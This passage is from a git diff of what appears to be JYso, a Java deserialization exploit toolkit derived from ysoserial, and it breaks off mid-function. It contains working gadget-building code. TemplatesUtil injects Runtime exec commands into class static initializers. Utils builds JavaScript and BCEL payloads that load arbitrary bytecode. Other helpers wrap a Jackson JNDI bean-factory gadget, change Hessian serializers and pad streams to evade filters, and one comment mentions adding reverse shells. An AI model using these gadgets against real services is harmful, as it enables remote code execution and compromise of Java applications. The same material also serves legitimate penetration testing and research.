writeJackJsonObject(Class clazz, Map values) { + return writeJackJsonObject(clazz.getName(), values); + } + + public static String writeJackJsonObject(String type, Map properties) { + StringBuilder sb = new StringBuilder(); + sb.append('['); + sb.append('"').append(type).append('"'); + sb.append(','); + sb.append('{'); + boolean first = true; + for (Map.Entry e : properties.entrySet()) { + if (!first) { + sb.append(','); + } else { + first = false; + } + writeProperty(sb, e.getKey(), e.getValue()); + } + sb.append('}'); + sb.append(']'); + return sb.toString(); + } + + public static void writeProperty(StringBuilder sb, String key, String value) { + sb.append('"').append(key).append('"'); + sb.append(':'); + sb.append(value); + } + + public static String writeCollection(String type, String... values) { + StringBuilder sb = new StringBuilder(); + sb.append('['); + sb.append('"').append(type).append('"'); + sb.append(','); + arrayHandler(sb, values); + sb.append(']'); + return sb.toString(); + } + + public static void arrayHandler(StringBuilder sb, String[] values) { + sb.append('['); + boolean first = true; + for (String val : values) { + if (!first) { + sb.append(','); + } else { + first = false; + } + sb.append(val); + } + sb.append(']'); + } + + public static String makeSpringJndiBeanFactory(String jndiUrl) { + return writeJackJsonObject(SimpleJndiBeanFactory.class, Collections.singletonMap("shareableResources", writeArray(quoteString(jndiUrl)))); + } + + public static String quoteString(String string) { + return '"' + string + '"'; + } + + public static String writeArray(String... elements) { + StringBuilder sb = new StringBuilder(); + arrayHandler(sb, elements); + return sb.toString(); + } + + public byte[] call() throws Exception { + return serialize(object); + } + + public static class SuObjectOutputStream extends ObjectOutputStream { + + public SuObjectOutputStream(OutputStream out) throws IOException { + super(out); + } + + @Override + protected void writeStreamHeader() throws IOException { + super.writeStreamHeader(); + try { + // 写入 + for (int i = 0; i < DIRTY_LENGTH_IN_TC_RESET; i++) { + Reflections.getMethodAndInvoke(Reflections.getFieldValue(this, "bout"), "writeByte", new Class[]{int.class}, new Object[]{TC_RESET}); + } + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + public static class NoWriteReplaceSerializerFactory extends SerializerFactory { + + /** + * {@inheritDoc} + * + * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class) + */ + @Override + public com.caucho.hessian.io.Serializer getObjectSerializer(Class cl) throws HessianProtocolException { + return super.getObjectSerializer(cl); + } + + /** + * {@inheritDoc} + * + * @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class) + */ + @Override + public com.caucho.hessian.io.Serializer getSerializer(Class cl) throws HessianProtocolException { + com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl); + + if (serializer instanceof WriteReplaceSerializer) { + return UnsafeSerializer.create(cl); + } + return serializer; + } + } + + } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/SignedObjectUtils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/SignedObjectUtils.java index 6252b6b..ffb926e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/SignedObjectUtils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/SignedObjectUtils.java @@ -1,21 +1,21 @@ -package com.qi4l.JYso.gadgets.utils; - -import java.io.Serializable; -import java.security.*; - -/** - * 二次反序列化 - * - * @author QI4L - */ -public class SignedObjectUtils { - public static SignedObject warpWithSignedObject(Serializable obj) throws Exception { - KeyPairGenerator keyPairGenerator; - keyPairGenerator = KeyPairGenerator.getInstance("DSA"); - keyPairGenerator.initialize(1024); - KeyPair keyPair = keyPairGenerator.genKeyPair(); - PrivateKey privateKey = keyPair.getPrivate(); - Signature signingEngine = Signature.getInstance("DSA"); - return new java.security.SignedObject(obj, privateKey, signingEngine); - } -} +package com.qi4l.JYso.gadgets.utils; + +import java.io.Serializable; +import java.security.*; + +/** + * 二次反序列化 + * + * @author QI4L + */ +public class SignedObjectUtils { + public static SignedObject warpWithSignedObject(Serializable obj) throws Exception { + KeyPairGenerator keyPairGenerator; + keyPairGenerator = KeyPairGenerator.getInstance("DSA"); + keyPairGenerator.initialize(1024); + KeyPair keyPair = keyPairGenerator.genKeyPair(); + PrivateKey privateKey = keyPair.getPrivate(); + Signature signingEngine = Signature.getInstance("DSA"); + return new java.security.SignedObject(obj, privateKey, signingEngine); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java index 165ec4d..969a509 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java @@ -1,67 +1,67 @@ -package com.qi4l.JYso.gadgets.utils; - -import java.util.Arrays; -import java.util.Comparator; -import java.util.LinkedList; -import java.util.List; - -public class StringUtil { - - public static String join(Iterable strings, String sep, String prefix, String suffix) { - final StringBuilder sb = new StringBuilder(); - boolean first = true; - for (String s : strings) { - if (!first) sb.append(sep); - if (prefix != null) sb.append(prefix); - sb.append(s); - if (suffix != null) sb.append(suffix); - first = false; - } - return sb.toString(); - } - - public static String repeat(String str, int num) { - final String[] strs = new String[num]; - Arrays.fill(strs, str); - return join(Arrays.asList(strs), "", "", ""); - } - - public static List formatTable(List rows) { - final Integer[] maxLengths = new Integer[rows.get(0).length]; - for (String[] row : rows) { - if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); - for (int i = 0; i < maxLengths.length; i++) { - if (maxLengths[i] == null || maxLengths[i] < row[i].length()) { - maxLengths[i] = row[i].length(); - } - } - } - - final List lines = new LinkedList<>(); - for (String[] row : rows) { - for (int i = 0; i < maxLengths.length; i++) { - final String pad = repeat(" ", maxLengths[i] - row[i].length()); - row[i] = row[i] + pad; - } - lines.add(join(Arrays.asList(row), " ", "", "")); - } - return lines; - } - - public static boolean isFromExploit() { - StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace(); - for (StackTraceElement stackTraceElement : stackTraceElements) { - if (stackTraceElement.getClassName().startsWith("com.qi4l.JYso.exploit")) { - return true; - } - } - return false; - } - - public static class ToStringComparator implements Comparator { - - public int compare(Object o1, Object o2) { - return o1.toString().compareTo(o2.toString()); - } - } -} +package com.qi4l.JYso.gadgets.utils; + +import java.util.Arrays; +import java.util.Comparator; +import java.util.LinkedList; +import java.util.List; + +public class StringUtil { + + public static String join(Iterable strings, String sep, String prefix, String suffix) { + final StringBuilder sb = new StringBuilder(); + boolean first = true; + for (String s : strings) { + if (!first) sb.append(sep); + if (prefix != null) sb.append(prefix); + sb.append(s); + if (suffix != null) sb.append(suffix); + first = false; + } + return sb.toString(); + } + + public static String repeat(String str, int num) { + final String[] strs = new String[num]; + Arrays.fill(strs, str); + return join(Arrays.asList(strs), "", "", ""); + } + + public static List formatTable(List rows) { + final Integer[] maxLengths = new Integer[rows.get(0).length]; + for (String[] row : rows) { + if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); + for (int i = 0; i < maxLengths.length; i++) { + if (maxLengths[i] == null || maxLengths[i] < row[i].length()) { + maxLengths[i] = row[i].length(); + } + } + } + + final List lines = new LinkedList<>(); + for (String[] row : rows) { + for (int i = 0; i < maxLengths.length; i++) { + final String pad = repeat(" ", maxLengths[i] - row[i].length()); + row[i] = row[i] + pad; + } + lines.add(join(Arrays.asList(row), " ", "", "")); + } + return lines; + } + + public static boolean isFromExploit() { + StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace(); + for (StackTraceElement stackTraceElement : stackTraceElements) { + if (stackTraceElement.getClassName().startsWith("com.qi4l.JYso.exploit")) { + return true; + } + } + return false; + } + + public static class ToStringComparator implements Comparator { + + public int compare(Object o1, Object o2) { + return o1.toString().compareTo(o2.toString()); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/SuClassLoader.java b/src/main/java/com/qi4l/JYso/gadgets/utils/SuClassLoader.java index d36a3c5..11cd19e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/SuClassLoader.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/SuClassLoader.java @@ -1,8 +1,8 @@ -package com.qi4l.JYso.gadgets.utils; - -public class SuClassLoader extends ClassLoader { - - public SuClassLoader() { - super(Thread.currentThread().getContextClassLoader()); - } -} +package com.qi4l.JYso.gadgets.utils; + +public class SuClassLoader extends ClassLoader { + + public SuClassLoader() { + super(Thread.currentThread().getContextClassLoader()); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java index d871f88..c29c802 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java @@ -1,108 +1,108 @@ -package com.qi4l.JYso.gadgets.utils; - -import com.sun.org.apache.xalan.internal.xsltc.DOM; -import com.sun.org.apache.xalan.internal.xsltc.TransletException; -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; -import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; -import com.sun.org.apache.xml.internal.serializer.SerializationHandler; -import javassist.ClassClassPath; -import javassist.ClassPool; -import javassist.CtClass; - -import java.io.Serializable; - -import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; - -@SuppressWarnings({"unused"}) -public class TemplatesUtil { - public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; - - static { - // special case for using TemplatesImpl gadgets with a SecurityManager enabled - System.setProperty(DESERIALIZE_TRANSLET, "true"); - - // for RMI remote loading - System.setProperty("java.rmi.server.useCodebaseOnly", "false"); - } - - public static Object createTemplatesImpl(final String[] args) throws Exception { - if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) { - return createTemplatesImpl( - args, - Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), - Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), - Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); - } - - return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); - } - - public static T createTemplatesImpl(final String[] args, Class tplClass, Class abstTranslet, Class transFactory) - throws Exception { - final T templates = tplClass.newInstance(); - - // use template gadget class - ClassPool pool = ClassPool.getDefault(); - pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); - pool.insertClassPath(new ClassClassPath(abstTranslet)); - final CtClass clazz = pool.get(StubTransletPayload.class.getName()); - // run command in static initializer - // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections - - StringBuilder sb = new StringBuilder(); - boolean first = true; - for (String arg : args) { - - if (!first) { - sb.append(','); - } else { - first = false; - } - - sb.append('"'); - sb.append(arg.replaceAll("\"", "\"")); - sb.append('"'); - } - - clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb + " });"); - // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) - clazz.setName("ysoserial.Pwner" + System.nanoTime()); - CtClass superC = pool.get(abstTranslet.getName()); - clazz.setSuperclass(superC); - - final byte[] classBytes = clazz.toBytecode(); - - // inject class bytes into instance - Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{ - classBytes, ClassFiles.classAsBytes(Foo.class) - }); - - // required to make TemplatesImpl happy - Reflections.setFieldValue(templates, "_name", "Pwnr"); - Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); - return templates; - } - - public static class StubTransletPayload extends AbstractTranslet implements Serializable { - - private static final long serialVersionUID = -5971610431559700674L; - - - @Override - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { - } - - - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { - } - } - - // required to make TemplatesImpl happy - public static class Foo implements Serializable { - - private static final long serialVersionUID = 8207363842866235160L; - } +package com.qi4l.JYso.gadgets.utils; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import java.io.Serializable; + +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +@SuppressWarnings({"unused"}) +public class TemplatesUtil { + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + } + + public static Object createTemplatesImpl(final String[] args) throws Exception { + if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) { + return createTemplatesImpl( + args, + Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), + Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); + } + + return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + } + + public static T createTemplatesImpl(final String[] args, Class tplClass, Class abstTranslet, Class transFactory) + throws Exception { + final T templates = tplClass.newInstance(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + pool.insertClassPath(new ClassClassPath(abstTranslet)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + + StringBuilder sb = new StringBuilder(); + boolean first = true; + for (String arg : args) { + + if (!first) { + sb.append(','); + } else { + first = false; + } + + sb.append('"'); + sb.append(arg.replaceAll("\"", "\"")); + sb.append('"'); + } + + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb + " });"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); + clazz.setSuperclass(superC); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{ + classBytes, ClassFiles.classAsBytes(Foo.class) + }); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + + private static final long serialVersionUID = -5971610431559700674L; + + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + } + + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + } + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java index d0050aa..a10bef9 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java @@ -1,154 +1,154 @@ -package com.qi4l.JYso.gadgets.utils; - -import java.io.File; -import java.net.MalformedURLException; -import java.net.URL; -import java.net.URLClassLoader; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -public class ThirdLibsClassLoader extends URLClassLoader { - public static final String thirdLibDir = "chains-config/third-libs"; - private static final String commonDir = "common"; - private static final Logger log = LogManager.getLogger(ThirdLibsClassLoader.class); - private static ThirdLibsClassLoader INSTANCE = null; - private static boolean initialized = false; - private static Map pluginClassLoaderMap = new HashMap(); - - static { - initClassLoader(); - } - - public static ThirdLibsClassLoader getInstance() { - return INSTANCE; - } - - public static void initClassLoader() { - try { - if (initialized) { - return; - } - try { - INSTANCE = init(); - initDirectoryClassLoaders(); - initialized = true; - } catch (MalformedURLException e) { - throw new RuntimeException("Failed to initialize class loader", e); - } - } catch (Throwable th) { - initialized = true; - throw th; - } - } - - public static void reload() { - INSTANCE = null; - initialized = false; - pluginClassLoaderMap = new HashMap(); - initClassLoader(); - } - - public ThirdLibsClassLoader(URL[] urls) { - super(urls, Thread.currentThread().getContextClassLoader()); - } - - public ThirdLibsClassLoader(URL[] urls, ClassLoader parent) { - super(urls, parent); - } - - @Override // java.lang.ClassLoader - public Class loadClass(String name, boolean resolve) throws ClassNotFoundException { - Class c = findLoadedClass(name); - if (c == null) { - try { - c = findClass(name); - } catch (ClassNotFoundException e) { - c = super.loadClass(name, resolve); - } - } - if (resolve) { - resolveClass(c); - } - return c; - } - - private static ThirdLibsClassLoader init() throws MalformedURLException { - ThirdLibsClassLoader loader = new ThirdLibsClassLoader(new URL[0]); - File commonDirectory = new File(thirdLibDir, "common"); - List jarUrls = new ArrayList<>(); - findJarFiles(commonDirectory, jarUrls); - for (URL url : jarUrls) { - log.debug("Add common lib: {}", url); - loader.addURL(url); - } - log.info("Loaded {} libraries from common directory", jarUrls.size()); - return loader; - } - - private static void initDirectoryClassLoaders() throws MalformedURLException { - File baseDir = new File(thirdLibDir); - List subDirs = getFirstLevelDirectories(baseDir); - for (File dir : subDirs) { - if (!dir.getName().equals("common")) { - List jarUrls = new ArrayList<>(); - findJarFiles(dir, jarUrls); - if (!jarUrls.isEmpty()) { - ThirdLibsClassLoader dirClassLoader = new ThirdLibsClassLoader(jarUrls.toArray(new URL[0]), INSTANCE); - pluginClassLoaderMap.put(dir.getName(), dirClassLoader); - log.info("Loaded {} libraries from directory: {}", jarUrls.size(), dir.getName()); - } - } - } - } - - private static void findJarFiles(File dir, List jarUrls) throws MalformedURLException { - File[] files; - if (dir.exists() && dir.isDirectory() && (files = dir.listFiles()) != null) { - for (File file : files) { - if (file.isDirectory()) { - findJarFiles(file, jarUrls); - } else if (file.getName().endsWith(".jar")) { - if (file.getName().startsWith("_")) { - log.info("Skip third lib {}", file.getName()); - } else { - jarUrls.add(file.toURI().toURL()); - } - } - } - } - } - - private static List getFirstLevelDirectories(File baseDir) { - File[] files; - List directories = new ArrayList<>(); - if (baseDir.exists() && baseDir.isDirectory() && (files = baseDir.listFiles()) != null) { - for (File file : files) { - if (file.isDirectory()) { - directories.add(file); - } - } - } - return directories; - } - - public static Class loadClass_(String className) throws ClassNotFoundException { - return INSTANCE.loadClass(className); - } - - public static URLClassLoader getClassLoader() { - return INSTANCE; - } - - public static URLClassLoader getClassLoaderForDirectory(String directoryName) { - return pluginClassLoaderMap.get(directoryName); - } - - public static Map getPluginClassLoaderMap() { - return pluginClassLoaderMap; - } +package com.qi4l.JYso.gadgets.utils; + +import java.io.File; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +public class ThirdLibsClassLoader extends URLClassLoader { + public static final String thirdLibDir = "chains-config/third-libs"; + private static final String commonDir = "common"; + private static final Logger log = LogManager.getLogger(ThirdLibsClassLoader.class); + private static ThirdLibsClassLoader INSTANCE = null; + private static boolean initialized = false; + private static Map pluginClassLoaderMap = new HashMap(); + + static { + initClassLoader(); + } + + public static ThirdLibsClassLoader getInstance() { + return INSTANCE; + } + + public static void initClassLoader() { + try { + if (initialized) { + return; + } + try { + INSTANCE = init(); + initDirectoryClassLoaders(); + initialized = true; + } catch (MalformedURLException e) { + throw new RuntimeException("Failed to initialize class loader", e); + } + } catch (Throwable th) { + initialized = true; + throw th; + } + } + + public static void reload() { + INSTANCE = null; + initialized = false; + pluginClassLoaderMap = new HashMap(); + initClassLoader(); + } + + public ThirdLibsClassLoader(URL[] urls) { + super(urls, Thread.currentThread().getContextClassLoader()); + } + + public ThirdLibsClassLoader(URL[] urls, ClassLoader parent) { + super(urls, parent); + } + + @Override // java.lang.ClassLoader + public Class loadClass(String name, boolean resolve) throws ClassNotFoundException { + Class c = findLoadedClass(name); + if (c == null) { + try { + c = findClass(name); + } catch (ClassNotFoundException e) { + c = super.loadClass(name, resolve); + } + } + if (resolve) { + resolveClass(c); + } + return c; + } + + private static ThirdLibsClassLoader init() throws MalformedURLException { + ThirdLibsClassLoader loader = new ThirdLibsClassLoader(new URL[0]); + File commonDirectory = new File(thirdLibDir, "common"); + List jarUrls = new ArrayList<>(); + findJarFiles(commonDirectory, jarUrls); + for (URL url : jarUrls) { + log.debug("Add common lib: {}", url); + loader.addURL(url); + } + log.info("Loaded {} libraries from common directory", jarUrls.size()); + return loader; + } + + private static void initDirectoryClassLoaders() throws MalformedURLException { + File baseDir = new File(thirdLibDir); + List subDirs = getFirstLevelDirectories(baseDir); + for (File dir : subDirs) { + if (!dir.getName().equals("common")) { + List jarUrls = new ArrayList<>(); + findJarFiles(dir, jarUrls); + if (!jarUrls.isEmpty()) { + ThirdLibsClassLoader dirClassLoader = new ThirdLibsClassLoader(jarUrls.toArray(new URL[0]), INSTANCE); + pluginClassLoaderMap.put(dir.getName(), dirClassLoader); + log.info("Loaded {} libraries from directory: {}", jarUrls.size(), dir.getName()); + } + } + } + } + + private static void findJarFiles(File dir, List jarUrls) throws MalformedURLException { + File[] files; + if (dir.exists() && dir.isDirectory() && (files = dir.listFiles()) != null) { + for (File file : files) { + if (file.isDirectory()) { + findJarFiles(file, jarUrls); + } else if (file.getName().endsWith(".jar")) { + if (file.getName().startsWith("_")) { + log.info("Skip third lib {}", file.getName()); + } else { + jarUrls.add(file.toURI().toURL()); + } + } + } + } + } + + private static List getFirstLevelDirectories(File baseDir) { + File[] files; + List directories = new ArrayList<>(); + if (baseDir.exists() && baseDir.isDirectory() && (files = baseDir.listFiles()) != null) { + for (File file : files) { + if (file.isDirectory()) { + directories.add(file); + } + } + } + return directories; + } + + public static Class loadClass_(String className) throws ClassNotFoundException { + return INSTANCE.loadClass(className); + } + + public static URLClassLoader getClassLoader() { + return INSTANCE; + } + + public static URLClassLoader getClassLoaderForDirectory(String directoryName) { + return pluginClassLoaderMap.get(directoryName); + } + + public static Map getPluginClassLoaderMap() { + return pluginClassLoaderMap; + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java index fd3e6c9..443860f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java @@ -1,351 +1,351 @@ -package com.qi4l.JYso.gadgets.utils; - -import com.sun.org.apache.bcel.internal.classfile.Utility; -import javassist.CannotCompileException; -import javassist.ClassPool; -import javassist.CtClass; -import org.apache.commons.codec.binary.Base64; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import java.io.*; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.lang.reflect.Proxy; -import java.util.Random; -import java.util.zip.Deflater; -import java.util.zip.GZIPOutputStream; - -import java.io.InputStream; -import java.lang.reflect.*; -import java.util.*; - -import static com.qi4l.JYso.gadgets.Config.Config.*; -import static com.qi4l.JYso.gadgets.utils.Gadgets.createMemoizedInvocationHandler; -import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertMethod; -import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName; -import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes; - -@SuppressWarnings({"unused"}) -public class Utils { - private static final Logger log = LogManager.getLogger(Utils.class); - - public static Map createMap(final String key, final Object val) { - final Map map = new HashMap<>(); - map.put(key, val); - return map; - } - public static T createMemoitizedProxy(final Map map, final Class iface, final Class... ifaces) throws Exception { - return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); - } - - public static T createProxy(final InvocationHandler ih, final Class iface, final Class... ifaces) { - final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); - allIfaces[0] = iface; - if (ifaces.length > 0) { - System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); - } - return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih)); - } - - public static HashMap makeMap(Object v1, Object v2) throws Exception { - HashMap s = new HashMap<>(); - Reflections.setFieldValue(s, "size", 2); - Class nodeC; - try { - nodeC = Class.forName("java.util.HashMap$Node"); - } catch (ClassNotFoundException e) { - nodeC = Class.forName("java.util.HashMap$Entry"); - } - Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); - nodeCons.setAccessible(true); - - Object tbl = Array.newInstance(nodeC, 2); - Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); - Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); - Reflections.setFieldValue(s, "table", tbl); - return s; - } - - public static Class makeClass(String clazzName) { - ClassPool classPool = ClassPool.getDefault(); - CtClass ctClass = classPool.makeClass(clazzName); - Class clazz; - try { - clazz = ctClass.toClass(); - } catch (CannotCompileException e) { - throw new RuntimeException(e); - } - ctClass.defrost(); - return clazz; - } - - public static String[] handlerCommand(String command) { - String info = command.split("-")[1]; - int index = info.indexOf("#"); - String par1 = info.substring(0, index); - String par2 = info.substring(index + 1); - return new String[]{par1, par2}; - } - - public static String base64Decode(String bs) { - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", Class.class).invoke(base64, Class[].class); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception ignored) { - } - } - - if (value != null) { - return new String(value); - } - return bs; - } - - public static void saveCtClassToFile(CtClass ctClass) throws Exception { - // 总体在进行类字节码的缩短 - shrinkBytes(ctClass); - byte[] classBytes = ctClass.toBytecode(); - } - - public static void loadClassTest(byte[] classBytes, String className) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class); - method.setAccessible(true); - Class clazz = (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length); - - try { - clazz.newInstance(); - } catch (Exception ignored) { - Class unsafe = Class.forName("sun.misc.Unsafe"); - Field theUnsafeField = unsafe.getDeclaredField("theUnsafe"); - theUnsafeField.setAccessible(true); - Object unsafeObject = theUnsafeField.get(null); - unsafeObject.getClass().getDeclaredMethod("allocateInstance", Class.class).invoke(unsafeObject, clazz); - } - } - - public static String generateBCELFormClassBytes(byte[] bytes) throws Exception { - return "$$BCEL$$" + Utility.encode(bytes, true); - } - - public static String getJSEngineValue(byte[] classBytes) throws Exception { - if (USING_RHINO) { - return "new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\"" + generateBCELFormClassBytes(classBytes) + "\").newInstance();"; - } else { - return "var data = \"" + base64Encode(classBytes) + "\";var dataBytes=java.util.Base64.getDecoder().decode(data);var cl= java.lang.Thread.currentThread().getContextClassLoader();var clClass = cl.getClass();var defineClassMethod = null;while (clClass != null) {try {defineClassMethod = clClass.getDeclaredMethod(\"defineClass\", dataBytes.getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);defineClassMethod.setAccessible(true);break;} catch (e) {clClass = clClass.getSuperclass();}}if (defineClassMethod != null) {var memClass = defineClassMethod.invoke(cl, dataBytes, 0, dataBytes.length);memClass.newInstance();} else {throw \"Cannot find defineClass method.\";}"; - } - } - - public static CtClass encapsulationByClassLoaderTemplate(byte[] bytes) throws Exception { - CtClass ctClass = POOL.get("com.qi4l.JYso.template.ClassLoaderTemplate"); - ctClass.setName(generateClassName()); - ByteArrayOutputStream outBuf = new ByteArrayOutputStream(); - GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outBuf); - gzipOutputStream.write(bytes); - gzipOutputStream.close(); - - String b64 = Base64.encodeBase64String(outBuf.toByteArray()); - // 如果 b64 的长度比较大,则将其切分为多个字符串进行拼接,避免单个字符串过长 - StringBuilder code = new StringBuilder(); - if (b64.length() > 60000) { - String[] arrays = splitString(b64, 60000); - for (int i = 0; i < arrays.length; i++) { - if (i == 0) { - code.append("b64=\"").append(arrays[0]).append("\";\n"); - } else { - code.append("b64 +=\"").append(arrays[i]).append("\";\n"); - } - } - } else { - code.append("b64=\"").append(b64).append("\";\n"); - } - - // 将赋值的代码插入到 ClassLoaderTemplate 中 - insertMethod(ctClass, "initClassBytes", code.toString()); - return ctClass; - } - - public static void writeClassToFile(String fileName, byte[] classBytes) throws Exception { - File file = new File(fileName.replace(".", File.separator) + ".class"); - File parentDir = file.getParentFile(); - if (!parentDir.exists()) { - if (!parentDir.mkdirs()) { - // 创建文件夹失败 - return; - } - } - FileOutputStream fileOutputStream = new FileOutputStream(file); - fileOutputStream.write(classBytes); - fileOutputStream.flush(); - fileOutputStream.close(); - } - - public static String[] splitString(String str, int chunkSize) { - if (str == null || str.isEmpty() 